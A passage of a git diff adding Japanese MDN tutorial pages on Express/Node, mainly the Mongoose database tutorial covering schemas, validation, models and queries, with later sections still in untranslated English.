+<p>Express は、構造や使用するコンポーネントに関しては何も想定していません。ルート、ビュー、静的ファイル、およびその他のアプリケーション固有のロジックは、任意のディレクトリー構造を持つ任意の数のファイルに存在できます。 Express アプリケーション全体を1つのファイルにまとめることは完全に可能ですが、通常は機能 (アカウント管理、ブログ、ディスカッション掲示板など) およびアーキテクチャ上の問題のドメイン (<a href="/ja/docs/Web/Apps/Build/Modern_web_app_architecture/MVC_architecture">MVC アーキテクチャ</a>を使用している場合は、モデル、ビュー、コントローラーなど) に基づいてアプリケーションをファイルに分割します。</p> + +<p>後のトピックでは、ウェブアプリケーションを作成するために簡単に拡張できるモジュール式のアプリケーションスケルトンを作成する Express Application Generator を使用します。</p> + +<ul> +</ul> + +<h2 id="まとめ">まとめ</h2> + +<p>おめでとうございます、Express/Node の旅の最初のステップを完了しました。これで Express と Node の主な利点と、Express アプリケーションの主要部分がどのように見えるか (ルート、ミドルウェア、エラー処理、およびテンプレートコード) をおおまかに理解できています。また、Express は指図しないフレームワークであるため、これらの部分をどのようにまとめるかやどのライブラリを使用するかは、ほとんどあなた次第です。</p> + +<p>もちろん、Express は意図的に非常に軽量なウェブアプリケーションフレームワークであるため、その利点と可能性の多くはサードパーティのライブラリと機能からもたらされています。以下の記事でそれらをより詳しく見ていきます。次回の記事では、Node 開発環境のセットアップについて見ていきます。そうすれば、いくつかの Express コードが実際に動作しているところを見始めることができます。</p> + +<h2 id="関連情報">関連情報</h2> + +<ul> + <li><a href="https://medium.com/@ramsunvtech/manage-multiple-node-versions-e3245d5ede44">Venkat.R - Manage Multiple Node versions</a></li> + <li><a href="https://nodejs.org/api/modules.html#modules_modules">Modules</a> (Node API docs)</li> + <li><a href="https://expressjs.com/ja">Express</a> (home page)</li> + <li><a href="http://expressjs.com/ja/starter/basic-routing.html">Basic routing</a> (Express ドキュメント)</li> + <li><a href="http://expressjs.com/ja/guide/routing.html">Routing guide</a> (Express ドキュメント)</li> + <li><a href="http://expressjs.com/ja/guide/using-template-engines.html">Using template engines with Express</a> (Express ドキュメント)</li> + <li><a href="https://expressjs.com/ja/guide/using-middleware.html">Using middleware</a> (Express ドキュメント)</li> + <li><a href="http://expressjs.com/ja/guide/writing-middleware.html">Writing middleware for use in Express apps</a> (Express ドキュメント)</li> + <li><a href="https://expressjs.com/ja/guide/database-integration.html">Database integration</a> (Express ドキュメント)</li> + <li><a href="http://expressjs.com/ja/starter/static-files.html">Serving static files in Express</a> (Express ドキュメント)</li> + <li><a href="http://expressjs.com/ja/guide/error-handling.html">Error handling</a> (Express ドキュメント)</li> +</ul> + +<div>{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}</div> + +<h2 id="このモジュール">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node のイントロダクション</a></li> + <li><a href="/ja/docs/Learn/Server-side/Express_Nodejs/development_environment">Node 開発環境の設定</a></li> + <li><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express チュートリアル: 地域図書館のウェブサイト</a></li> + <li><a href="/ja/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express チュートリアル Part 2: スケルトンウェブサイトの作成</a></li> + <li><a href="/ja/docs/Learn/Server-side/Express_Nodejs/mongoose">Express チュートリアル Part 3: データベースを使う (Mongoose を使用)</a></li> + <li><a href="/ja/docs/Learn/Server-side/Express_Nodejs/routes">Express チュートリアル Part 4: ルートとコントローラ</a></li> + <li><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express チュートリアル Part 5: ライブラリデータの表示</a></li> + <li><a href="/ja/docs/Learn/Server-side/Express_Nodejs/forms">Express チュートリアル Part 6: フォームの操作</a></li> + <li><a href="/ja/docs/Learn/Server-side/Express_Nodejs/deployment">Express チュートリアル Part 7: プロダクションへのデプロイ</a></li> +</ul> diff --git a/files/ja/learn/server-side/express_nodejs/mongoose/index.html b/files/ja/learn/server-side/express_nodejs/mongoose/index.html new file mode 100644 index 0000000000..e6eecb4496 --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/mongoose/index.html @@ -0,0 +1,799 @@ +--- +title: 'Express チュートリアル Part 3: データベースの使用 (Mongoose を使用)' +slug: Learn/Server-side/Express_Nodejs/mongoose +translation_of: Learn/Server-side/Express_Nodejs/mongoose +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">この記事ではデータベースと、それらを Node/Express アプリケーションで使用する方法について簡単に紹介します。続いて、<a href="https://mongoosejs.com/">Mongoose</a> を使用して<a href="/ja/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">地域図書館</a> Web サイトへのデータベースアクセスを提供する方法を説明します。 オブジェクトスキーマとモデルの宣言方法、主なフィールドタイプ、および基本的な検証について説明します。また、モデルデータにアクセスするための主な方法についても簡単に説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td><a href="/ja/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express チュートリアル Part 2: スケルトン Web サイトの作成 </a></td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>Mongoose を使用して独自のモデルを設計および作成できるようになる。</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p>図書館職員は本と借り手についての情報を保存するためにローカルライブラリ Web サイトを使いますが、図書館員は本をブラウズして検索し、利用可能なコピーがあるかどうかを調べ、そしてそれらを予約または借りるために使います。情報を効率的に保存および取得するために、データベースに保存します。</p> + +<p>Express アプリケーションはさまざまなデータベースを使用できます。作成、読み取り、更新、削除 (CRUD) 操作を実行するために使用できるいくつかのアプローチがあります。 このチュートリアルではいくつかの利用可能なオプションの簡単な概要を説明し、次に選択された特定のメカニズムを詳細に表示します。</p> + +<h3 id="どのデータベースを使用できますか？">どのデータベースを使用できますか？</h3> + +<p>Express アプリは Node でサポートされている任意のデータベースを使用できます (Express 自体はデータベース管理のための特定の追加の動作や要件を定義していません)。 PostgreSQL、MySQL、Redis、SQLite、MongoDB など、<a href="https://expressjs.com/en/guide/database-integration.html">多くの一般的なオプション</a>があります。</p> + +<p>データベースを選択するときは、生産性/学習時間の曲線、パフォーマンス、複製/バックアップの容易さ、コスト、コミュニティサポートなどのことを考慮する必要があります。「最高の」データベースは1つもありませんが、ほとんどの一般的なソリューションは、ローカルライブラリのような中小規模のサイトでは十分条件を満たしているはずです。</p> + +<p>オプションの詳細については、<a href="https://expressjs.com/ja/guide/database-integration.html">データベース統合</a> (Express ドキュメント) を参照してください。</p> + +<h3 id="データベースを利用するための最良の方法は何ですか？">データベースを利用するための最良の方法は何ですか？</h3> + +<p>データベースにインタラクティブにアプローチするには2つの方法があります。</p> + +<ul> + <li>データベースのネイティブクエリ言語 (例：SQL)を使用する</li> + <li>オブジェクトデータモデル ("ODM")／オブジェクトリレーショナルモデル ("ORM") を使用する。ODM/ORM は Web サイトのデータを JavaScript オブジェクトとして表し、それが基になるデータベースにマッピングされます。一部の ORM は特定のデータベースに関連付けられていますが、他のデータベースはデータベースに依存しないバックエンドを提供しています</li> +</ul> + +<p>SQL、またはデータベースでサポートされているクエリ言語を使用すると、最高のパフォーマンスが得られます。ODM は、変換コードを使用してオブジェクトとデータベース形式の間のマッピングを行うため、処理が遅くなることが多く、最も効率的なデータベースクエリが使用されない可能性があります (これは、ODM がさまざまなデータベースバックエンドをサポートしている場合に特に当てはまります。サポートされているデータベース機能に関して、さらに妥協する必要があります)。</p> + +<p>ORM を使用する利点は、プログラマがデータベースのセマンティクスではなく JavaScript オブジェクトの観点から考え続けることができることです。これは、同じデータベースまたは異なる Web サイトで異なるデータベースを扱う必要がある場合に特に当てはまります。またデータの検証とチェックを実行するための明らかな場所を提供します。</p> + +<div class="note"> +<p><strong>Tip:</strong> ODM/ORM を使用すると、多くの場合、開発と保守のコストが削減されます。ネイティブのクエリ言語に精通しているかパフォーマンスが最優先であるのでなければ、ODM の使用を積極的に検討するべきです。</p> +</div> + +<h3 id="どの_ORMODM_を使うべきですか？">どの ORM/ODM を使うべきですか？</h3> + +<p>NPM パッケージマネージャのサイトには、多数の ODM/ORM ソリューションがあります (サブセットの <a href="https://www.npmjs.com/browse/keyword/odm">odm</a> タグおよび <a href="https://www.npmjs.com/browse/keyword/orm">orm</a> タグを調べてください)。</p> + +<p>執筆時点で一般的だったいくつかの解決策は、次のとおりです。</p> + +<ul> + <li><a href="https://www.npmjs.com/package/mongoose">Mongoose</a>: Mongoose は、非同期環境で動作するように設計された <a href="https://www.mongodb.org/">MongoDB</a> オブジェクトモデリングツールです</li> + <li><a href="https://www.npmjs.com/package/waterline">Waterline</a>: Express ベースの <a href="http://sailsjs.com/">Sails</a> Web フレームワークから抽出された ORM。Redis、MySQL、LDAP、MongoDB、Postgres など、さまざまなデータベースにアクセスするための統一された API を提供します</li> + <li><a href="https://www.npmjs.com/package/bookshelf">Bookshelf</a>: Promise ベースおよび従来の callback インターフェイスの両方を備え、トランザクションのサポート、熱心な/入れ子になったリレーションの読み込み、多態的な関連付け、および1対1、1対多、および多対多のリレーションのサポートを提供します。PostgreSQL、MySQL、および SQLite3 で動作します</li> + <li><a href="https://www.npmjs.com/package/objection">Objection</a>: SQL とその基盤となるデータベースエンジン (SQLite 3、Postgres、および MySQL をサポート) の全機能を使用することを可能な限り簡単にします</li> + <li><a href="https://www.npmjs.com/package/sequelize">Sequelize</a> は Node.js と io.js のための Promise ベースの ORM です。PostgreSQL、MySQL、MariaDB、SQLite、および MSSQL のダイアレクトをサポートし、堅実なトランザクションサポート、リレーション、リードレプリケーションなどを備えています</li> + <li><a href="https://node-orm.readthedocs.io/en/latest/">Node ORM2</a> は NodeJS のオブジェクトリレーションマネージャです。MySQL、SQLite、Progres をサポートし、オブジェクト指向のアプローチを使用してデータベースを操作するのを助けます</li> + <li> + <p><a href="http://1602.github.io/jugglingdb/" rel="nofollow">JugglingDB</a> は NodeJS 用のクロスDB ORM で、最も一般的なデータベースフォーマットにアクセスするための共通インターフェイスを提供します。現在 MySQL、SQLite3、Postgres、MongoDB、Redis および js-memory-storage をサポートしています (テスト用の自己記述エンジンのみ)</p> + </li> +</ul> + +<p>原則として、解決策を選択する際には、提供されている機能と "コミュニティ活動" (ダウンロード、コントリビュート、バグレポート、ドキュメントの品質など) の両方を考慮する必要があります。この記事を書いている時点では、Mongoose は最も人気のある ODM であり、データベースに MongoDB を使用している場合は妥当な選択です。</p> + +<h3 id="ローカルライブラリに_Mongoose_と_MongoDB_を使用する">ローカルライブラリに Mongoose と MongoDB を使用する</h3> + +<p>ローカルライブラリの例 (およびこのトピックの残りの部分) では、<a href="https://www.npmjs.com/package/mongoose">Mongoose ODM</a> を使用してライブラリデータにアクセスします。Mongoose は、ドキュメント指向のデータモデルを使用するオープンソースの <a href="https://en.wikipedia.org/wiki/NoSQL">NoSQL</a> データベースである <a href="https://www.mongodb.com/what-is-mongodb">MongoDB</a> のフロントエンドとして機能します。MongoDB データベースの "ドキュメント" の "コレクション" は、リレーショナルデータベースの "行" の "テーブル" <a href="https://docs.mongodb.com/manual/core/databases-and-collections/#collections">に似ています</a>。</p> + +<p>この ODM とデータベースの組み合わせは、Node コミュニティで非常に人気があります。これは、ドキュメントの保存とクエリのシステムが JSON に非常に似ているため、JavaScript 開発者にはよく知られているためです。</p> + +<div class="note"> +<p><strong>Tip:</strong> Mongoose を使用するために MongoDB を知っている必要はありませんが、<a href="http://mongoosejs.com/docs/guide.html">Mongoose のドキュメント</a>の一部は、MongoDB に慣れている方が使いやすく理解しやすいものです。</p> +</div> + +<p>このチュートリアルの残りの部分では、<a href="/ja/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">ローカルライブラリ Web サイト</a>の例の Mongoose スキーマとモデルを定義してアクセスする方法を示します。</p> + +<h2 id="ローカルライブラリモデルの設計">ローカルライブラリモデルの設計</h2> + +<p>いきなりモデルのコーディングを始める前に、格納する必要があるデータと、さまざまなオブジェクト間の関係について検討することをお勧めします。</p> + +<p>書籍に関する情報 (タイトル、概要、著者、ジャンル、ISBN) を保存する必要があること、および複数のコピーが利用可能であること (グローバルに一意の ID、利用状況など) があることを知っています。著者の名前だけではなく、著者に関するより多くの情報を格納する必要があるかもしれません。また、同じ名前または類似の名前を持つ著者が複数いる可能性があります。書籍のタイトル、著者、ジャンル、およびカテゴリに基づいて情報を並べ替えることができるようにします。</p> + +<p>モデルを設計するときは、すべての "オブジェクト" (関連情報のグループ) ごとに別々のモデルを用意するのが合理的です。 この場合、明らかなオブジェクトは本、本のインスタンス、および作者です。</p> + +<p>Web サイト自体に選択肢をハードコーディングするのではなく、モデルを使用して選択肢の選択肢 (たとえば選択肢のドロップダウンリストなど) を表すこともできます - すべてのオプションが事前にわかっていない場合や変更される可能性がある場合は、これをお勧めします。このタイプのモデルの明らかな候補は本のジャンルです (例：サイエンスフィクション、フランス詩など)。</p> + +<p>モデルとフィールドを決めたら、それらの関係について考える必要があります。</p> + +<p>そのことを念頭に置いて、以下の UML 関連図は、この場合に定義するモデルを (ボックスとして) 示しています。上記で説明したように、本のモデル (本の一般的な詳細)、本のインスタンス (システムで利用可能な本の特定の物理コピーのステータス)、および作成者のモデルを作成しました。また、値を動的に作成できるように、ジャンルのモデルを用意することにしました。<code>BookInstance:status</code> のモデルを使用しないことにしました - 許容値は変更しないと考えられるので、許容値をハードコードします。各ボックス内には、モデル名、フィールド名と型、そしてメソッドとその戻り型が表示されます。</p> + +<p>この図には、モデル間の関係 (それらの多重度も含む) も示されています。多重度は、関係内に存在する可能性がある各モデルの番号 (最大および最小) を示す図上の番号です。たとえば、ボックス間の接続線は、<code>Book</code> と <code>Genre</code> が関連していることを示しています。<code>Book</code> モデルに近い数字は、ジャンルに0個以上の <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Book</span></font> がある必要があることを示しており、線のもう一方の端にある<code>Genre</code> の隣の数字は、本に0個以上の関連する<code>Genre</code>があることを示しています。</p> + +<div class="note"> +<p><strong>メモ</strong>: 下記の <a href="#">Mongoose 入門書</a>で説明されているように、1つのモデルだけで documents/models 間の関係を定義するフィールドがあるほうがよいでしょう (他のモデルで関連する <code>_id</code> を検索することによって逆の関係を見つけることができます)。以下では、Book スキーマの Book/Genre と Book/Author の関係、および BookInstance スキーマの Book/BookInstance の関係を定義します。この選択は多少恣意的でした - 他のスキーマでも同じようにフィールドを持つことができました。</p> +</div> + +<p><img alt="Mongoose Library Model with correct cardinality" src="https://mdn.mozillademos.org/files/15645/Library%20Website%20-%20Mongoose_Express.png" style="height: 620px; width: 737px;"></p> + +<div class="note"> +<p><strong>メモ</strong>: 次のセクションでは、モデルの定義方法と使用方法を説明する基本的な入門書を提供します。お読みになったところで、上の図の各モデルをどのように構築するかを検討してください。</p> +</div> + +<h2 id="Mongoose_入門書">Mongoose 入門書</h2> + +<p>このセクションでは、Mongoose を MongoDB データベースに接続する方法、スキーマとモデルを定義する方法、そして基本的なクエリを作成する方法の概要を説明します。</p> + +<div class="note"> +<p><strong>メモ:</strong> この入門書は、npm の <a href="https://www.npmjs.com/package/mongoose">Mongoose クイックスタート</a>と<a href="http://mongoosejs.com/docs/guide.html">公式ドキュメント</a>に "大きく影響を受けています"。</p> +</div> + +<h3 id="Mongoose_と_MongoDB_のインストール">Mongoose と MongoDB のインストール</h3> + +<p>Mongoose は他の依存関係と同じようにあなたのプロジェクト (<strong>package.json</strong>) にインストールされます。つまり NPM を使用します。インストールするには、プロジェクトフォルダ内で次のコマンドを使用します。</p> + +<pre class="brush: bash notranslate"><code>npm install mongoose</code> +</pre> + +<p>Mongoose をインストールすると、MongoDB データベースドライバを含むすべての依存関係が追加されますが、MongoDB 自体はインストールされません。 MongoDB サーバをインストールする場合は、さまざまな OS 用の<a href="https://www.mongodb.com/download-center">インストーラをここからダウンロード</a>してローカルにインストールできます。クラウドベースの MongoDB インスタンスを使用することもできます。</p> + +<div class="note"> +<p><strong>メモ:</strong> このチュートリアルでは、mLab クラウドベースのDatabase as a Service <a href="https://mlab.com/plans/pricing/">サンドボックス層</a>として使用してデータベースを提供します。これは開発に適しており、オペレーティングシステムの "インストール" に依存しないため (database-as-a-service も本番データベースに使用することができる1つのアプローチです)、チュートリアルに適しています。</p> +</div> + +<h3 id="MongoDB_への接続">MongoDB への接続</h3> + +<p>MongooseはMongoDBデータベースへの接続を必要とします。以下のように、<code>require()</code> して <code>mongoose.connect()</code> でローカルにホストされているデータベースに接続することができます。</p> + +<pre class="brush: js notranslate">//Import the mongoose module +var mongoose = require('mongoose'); + +//Set up default mongoose connection +var mongoDB = 'mongodb://127.0.0.1/my_database'; +mongoose.connect(mongoDB); +// Get Mongoose to use the global promise library +mongoose.Promise = global.Promise; +//Get the default connection +var db = mongoose.connection; + +//Bind connection to error event (to get notification of connection errors) +db.on('error', console.error.bind(console, 'MongoDB connection error:'));</pre> + +<p>デフォルトの <code>Connection</code> オブジェクトは <code>mongoose.connection</code> で取得できます。接続されると、open イベントが <code>Connection</code> インスタンスで発生します。</p> + +<div class="note"> +<p><strong>Tip:</strong> 追加のコネクションを作成する必要がある場合は、<code>mongoose.createConnection()</code> を使用できます。 これは <code>connect()</code> と同じ形式のデータベース URI (ホスト、データベース、ポート、オプションなど) を取り、<code>Connection</code> オブジェクトを返します。</p> +</div> + +<h3 id="モデルの定義と作成">モデルの定義と作成</h3> + +<p>モデルは <code>Schema</code> インターフェイスを使用して定義されます。スキーマを使用すると、各ドキュメントに格納されているフィールドとその検証要件およびデフォルト値を定義できます。さらに、データ型や他のフィールドと同じように使用できるが実際にはデータベースに格納されていない仮想プロパティも扱いやすいように、静的メソッドおよびインスタンスヘルパーメソッドを定義できます。(もう少し後で説明します)。</p> + +<p>その後、スキーマは <code>mongoose.model()</code> メソッドを使用してモデルに "コンパイル" されます。モデルを作成したら、それを使用して特定のタイプのオブジェクトを検索、作成、更新、および削除できます。</p> + +<div class="note"> +<p><strong>メモ:</strong> 各モデルは MongoDB データベース内のドキュメントのコレクションにマップされます。ドキュメントはモデル <code>Schema</code> で定義されたフィールド/スキーマタイプを含みます。</p> +</div> + +<h4 id="スキーマの定義">スキーマの定義</h4> + +<p>以下のコードは、単純なスキーマを定義する方法を示しています。最初に mongoose を <code>require()</code> し、次に Schema コンストラクタを使用して新しいスキーマインスタンスを作成し、コンストラクタの object パラメータで内部のさまざまなフィールドを定義します。</p> + +<pre class="brush: js notranslate">//Require Mongoose +var mongoose = require('mongoose'); + +//Define a schema +var Schema = mongoose.Schema; + +var SomeModelSchema = new Schema({ + a_string: String, + a_date: Date +}); +</pre> + +<p>上記の場合、文字列と日付の2つのフィールドしかありません。次のセクションでは、他のフィールドタイプ、検証、その他の方法について説明します。</p> + +<h4 id="モデルを作成する">モデルを作成する</h4> + +<p>モデルは、<code>mongoose.model()</code> メソッドを使用してスキーマから作成されます。</p> + +<pre class="brush: js notranslate">// Define schema +var Schema = mongoose.Schema; + +var SomeModelSchema = new Schema({ + a_string: String, + a_date: Date +}); + +<strong>// Compile model from schema +var SomeModel = mongoose.model('SomeModel', SomeModelSchema );</strong></pre> + +<p>最初の引数はあなたのモデル用に作成されるコレクションの単数形の名前です (Mongoose は上記の SomeModel モデル用のデータベースコレクションを作成します)、そして2番目の引数はモデルの作成に使用したいスキーマです。</p> + +<div class="note"> +<p><strong>メモ:</strong> モデルクラスを定義したら、それらを使用してレコードを作成、更新、または削除し、クエリを実行してすべてのレコードまたは特定のレコードのサブセットを取得できます。これを行う方法を<a href="#">モデルの使用</a>セクションで、そしてビューを作成するときに示します。</p> +</div> + +<h4 id="スキーマ型_フィールド">スキーマ型 (フィールド)</h4> + +<p>スキーマには任意の数のフィールドを含めることができます。各フィールドは MongoDB に格納されているドキュメント内のフィールドを表します。一般的なフィールド型の多くとその宣言方法を示すスキーマの例を以下に示します。</p> + +<pre class="brush: js notranslate">var schema = new Schema( +{ + name: <strong>String</strong>, + binary: <strong>Buffer</strong>, + living: <strong>Boolean</strong>, + updated: { type: <strong>Date</strong>, default: Date.now() }, + age: { type: <strong>Number</strong>, min: 18, max: 65, required: true }, + mixed: <strong>Schema.Types.Mixed</strong>, + _someId: <strong>Schema.Types.ObjectId</strong>, + array: <strong>[]</strong>, + ofString: [<strong>String</strong>], // 他の型でも配列にすることができます。 + nested: { stuff: { type: <strong>String</strong>, lowercase: true, trim: true } } +})</pre> + +<p>ほとんどのスキーム型("type:"やフィールド名で記述されるもの)はその名のとおりです。例外は以下のようなものがあります:</p> + +<ul> + <li><code>ObjectId</code>: データベースのモデルを示すインスタンスです。例えば、本は著者オブジェクトを示すためにこれを使います。一つ一つにはユニークなID (<code>_id</code>) が割り当てられています。必要があれば<code>populate()</code>メソッドで関連情報を呼び出すことができます。</li> + <li><a href="http://mongoosejs.com/docs/schematypes.html#mixed">Mixed</a>: 任意のスキーム型。</li> + <li><font face="Consolas, Liberation Mono, Courier, monospace">[]</font>: 項目の配列。このモデルにはJavaScriptの配列オペレーション(push, pop, unshift, その他。)をオペレートすることができます。上記の例は特別な型なしに<code>String</code>オブジェクトの配列を示しています。また、他の型のオブジェクトに対しても配列で持つことはできます。</li> +</ul> + +<p>このコードはフィールドを宣言する2つのやり方も示しています:</p> + +<ul> + <li>フィールドの<em>name</em> と <em>type</em>をkey-valueペアのように書く (例えば<code>name</code>, <code>binary <font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">,</span></font></code><code>living</code>のように）.</li> + <li><code>type</code>定義するオブジェクトが続くフィールド名、およびフィールドの他のオプション。オプションには次のようなものがあります: + <ul> + <li>初期値.</li> + <li>ビルドインのバリデータ (例えば最大値/最小値) それからカスタマイズしたバリデーション機能.</li> + <li>そのヒールドが必須かどうか</li> + <li><code>String</code> のフィールドは自動的に大文字か、小文字にするか、前後の空白を取り除く（trim）するか？ (例えば:<code>{ type: <strong>String</strong>, lowercase: true, trim: true }</code>)記載することができる）</li> + </ul> + </li> +</ul> + +<p>もっとオプションについて見たいなら<a href="http://mongoosejs.com/docs/schematypes.html">SchemaTypes</a> (Mongoose docs)を見てみてください.</p> + +<h4 id="バリデーション">バリデーション</h4> + +<p>Mongooseはビルドインもしくはカスマイズしたバリデータや同期的もしくは非同期的なバリデータを提供しています。 バリデータはすべての場合において、許容範囲または値と検証失敗のエラーメッセージの両方を指定できます。</p> + +<p>ビルドインのバリデータには:</p> + +<ul> + <li>すべての <a href="http://mongoosejs.com/docs/schematypes.html">SchemaTypes</a> に <a href="http://mongoosejs.com/docs/api.html#schematype_SchemaType-required">required</a> があります。 これはドキュメントを保存するために必要なフィールドを指定するために使われます。</li> + <li><a href="http://mongoosejs.com/docs/api.html#schema-number-js">Numbers</a> に <a href="http://mongoosejs.com/docs/api.html#schema_number_SchemaNumber-min">min</a>（最小値を指定） と <a href="http://mongoosejs.com/docs/api.html#schema_number_SchemaNumber-max">max</a>（最大値を指定） バリデータがあります。</li> + <li><a href="http://mongoosejs.com/docs/api.html#schema-string-js">Strings</a> には以下のバリデータがあります: + <ul> + <li><a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-enum">enum</a>: フィールドに利用可能な値の配列を指定します。</li> + <li><a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-match">match</a>: マッチさせる正規表現を指定します。</li> + <li><a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-maxlength">maxlength</a> と <a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-minlength">minlength</a>: 文字数の最大値と最小値を指定します。</li> + </ul> + </li> +</ul> + +<p>以下の例（Mongooseドキュメントから少し変更しています）では、いくつかのバリデータタイプとエラーメッセージを指定する方法を示しています:</p> + +<pre class="brush: js notranslate"><code> + var breakfastSchema = new Schema({ + eggs: { + type: Number, + min: [6, 'Too few eggs'], + max: 12, + required: [true, 'Why no eggs?'] + }, + drink: { + type: String, + enum: ['Coffee', 'Tea', 'Water',] + } + }); +</code></pre> + +<p>詳しくは <a href="http://mongoosejs.com/docs/validation.html">Validation</a> (Mongoose docs) を見てみてください。</p> + +<h4 id="Virtual_properties">Virtual properties</h4> + +<p>Virtual properties are document properties that you can get and set but that do not get persisted to MongoDB. The getters are useful for formatting or combining fields, while setters are useful for de-composing a single value into multiple values for storage. The example in the documentation constructs (and deconstructs) a full name virtual property from a first and last name field, which is easier and cleaner than constructing a full name every time one is used in a template.</p> + +<div class="note"> +<p><strong>Note:</strong> We will use a virtual property in the library to define a unique URL for each model record using a path and the record's <code>_id</code> value.</p> +</div> + +<p>For more information see <a href="http://mongoosejs.com/docs/guide.html#virtuals">Virtuals</a> (Mongoose documentation).</p> + +<h4 id="Methods_and_query_helpers">Methods and query helpers</h4> + +<p>A schema can also have <a href="http://mongoosejs.com/docs/guide.html#methods">instance methods</a>, <a href="http://mongoosejs.com/docs/guide.html#statics">static methods</a>, and <a href="http://mongoosejs.com/docs/guide.html#query-helpers">query helpers</a>. The instance and static methods are similar, but with the obvious difference that an instance method is associated with a particular record and has access to the current object. Query helpers allow you to extend mongoose's <a href="http://mongoosejs.com/docs/queries.html">chainable query builder API</a> (for example, allowing you to add a query "byName" in addition to the <code>find()</code>, <code>findOne()</code> and <code>findById()</code> methods).</p> + +<h3 id="Using_models">Using models</h3> + +<p>Once you've created a schema you can use it to create models. The model represents a collection of documents in the database that you can search, while the model's instances represent individual documents that you can save and retrieve.</p> + +<p>We provide a brief overview below. For more information see: <a href="http://mongoosejs.com/docs/models.html">Models</a> (Mongoose docs).</p> + +<h4 id="Creating_and_modifying_documents">Creating and modifying documents</h4> + +<p>To create a record you can define an instance of the model and then call <code>save()</code>. The examples below assume SomeModel is a model (with a single field "name") that we have created from our schema.</p> + +<pre class="brush: js notranslate"><code>// Create an instance of model SomeModel +var awesome_instance = new </code>SomeModel<code>({ name: 'awesome' }); + +// Save the new model instance, passing a callback +awesome_instance.save(function (err) { + if (err) return handleError(err); + // saved! +}); +</code></pre> + +<p>Creation of records (along with updates, deletes, and queries) are asynchronous operations — you supply a callback that is called when the operation completes. The API uses the error-first argument convention, so the first argument for the callback will always be an error value (or null). If the API returns some result, this will be provided as the second argument.</p> + +<p>You can also use <code>create()</code> to define the model instance at the same time as you save it. The callback will return an error for the first argument and the newly-created model instance for the second argument.</p> + +<pre class="brush: js notranslate">SomeModel<code>.create({ name: 'also_awesome' }, function (err, awesome_instance) { + if (err) return handleError(err); + // saved! +});</code></pre> + +<p>Every model has an associated connection (this will be the default connection when you use <code>mongoose.model()</code>). You create a new connection and call <code>.model()</code> on it to create the documents on a different database.</p> + +<p>You can access the fields in this new record using the dot syntax, and change the values. You have to call <code>save()</code> or <code>update()</code> to store modified values back to the database.</p> + +<pre class="brush: js notranslate">// Access model field values using dot notation +console.log(<code>awesome_instance.name</code>); //should log '<code>also_awesome</code>' + +// Change record by modifying the fields, then calling save(). +<code>awesome_instance</code>.name="New cool name"; +<code>awesome_instance.save(function (err) { + if (err) return handleError(err); // saved! + });</code> +</pre> + +<h4 id="Searching_for_records">Searching for records</h4> + +<p>You can search for records using query methods, specifying the query conditions as a JSON document. The code fragment below shows how you might find all athletes in a database that play tennis, returning just the fields for athlete <em>name</em> and <em>age</em>. Here we just specify one matching field (sport) but you can add more criteria, specify regular expression criteria, or remove the conditions altogether to return all athletes.</p> + +<pre class="brush: js notranslate"><code>var Athlete = mongoose.model('Athlete', yourSchema); + +// find all athletes who play tennis, selecting the 'name' and 'age' fields +Athlete.find({ 'sport': 'Tennis' }, 'name age', function (err, athletes) { + if (err) return handleError(err); + // 'athletes' contains the list of athletes that match the criteria. +})</code></pre> + +<p>If you specify a callback, as shown above, the query will execute immediately. The callback will be invoked when the search completes.</p> + +<div class="note"> +<p><strong>Note:</strong> All callbacks in Mongoose use the pattern <code>callback(error, result)</code>. If an error occurs executing the query, the <code>error</code> parameter will contain an error document and <code>result</code> will be null. If the query is successful, the <code>error</code> parameter will be null, and the <code>result</code> will be populated with the results of the query.</p> +</div> + +<p>If you don't specify a callback then the API will return a variable of type <a href="http://mongoosejs.com/docs/api.html#query-js">Query</a>. You can use this query object to build up your query and then execute it (with a callback) later using the <code>exec()</code> method.</p> + +<pre class="brush: js notranslate"><code>// find all athletes that play tennis +var query = Athlete.find({ 'sport': 'Tennis' }); + +// selecting the 'name' and 'age' fields +query.select('name age'); + +// limit our results to 5 items +query.limit(5); + +// sort by age +query.sort({ age: -1 }); + +// execute the query at a later time +query.exec(function (err, athletes) { + if (err) return handleError(err); + // athletes contains an ordered list of 5 athletes who play Tennis +})</code></pre> + +<p>Above we've defined the query conditions in the <code>find()</code> method. We can also do this using a <code>where()</code> function, and we can chain all the parts of our query together using the dot operator (.) rather than adding them separately. The code fragment below is the same as our query above, with an additional condition for the age.</p> + +<pre class="notranslate"><code>Athlete. + find(). + where('sport').equals('Tennis'). + where('age').gt(17).lt(50). //Additional where query + limit(5). + sort({ age: -1 }). + select('name age'). + exec(callback); // where callback is the name of our callback function.</code></pre> + +<p>The <a href="http://mongoosejs.com/docs/api.html#query_Query-find">find()</a> method gets all matching records, but often you just want to get one match. The following methods query for a single record:</p> + +<ul> + <li><code><a href="http://mongoosejs.com/docs/api.html#model_Model.findById">findById()</a></code>: Finds the document with the specified <code>id</code> (every document has a unique <code>id</code>).</li> + <li><code><a href="http://mongoosejs.com/docs/api.html#query_Query-findOne">findOne()</a></code>: Finds a single document that matches the specified criteria.</li> + <li><code><a href="http://mongoosejs.com/docs/api.html#model_Model.findByIdAndRemove">findByIdAndRemove()</a></code>, <code><a 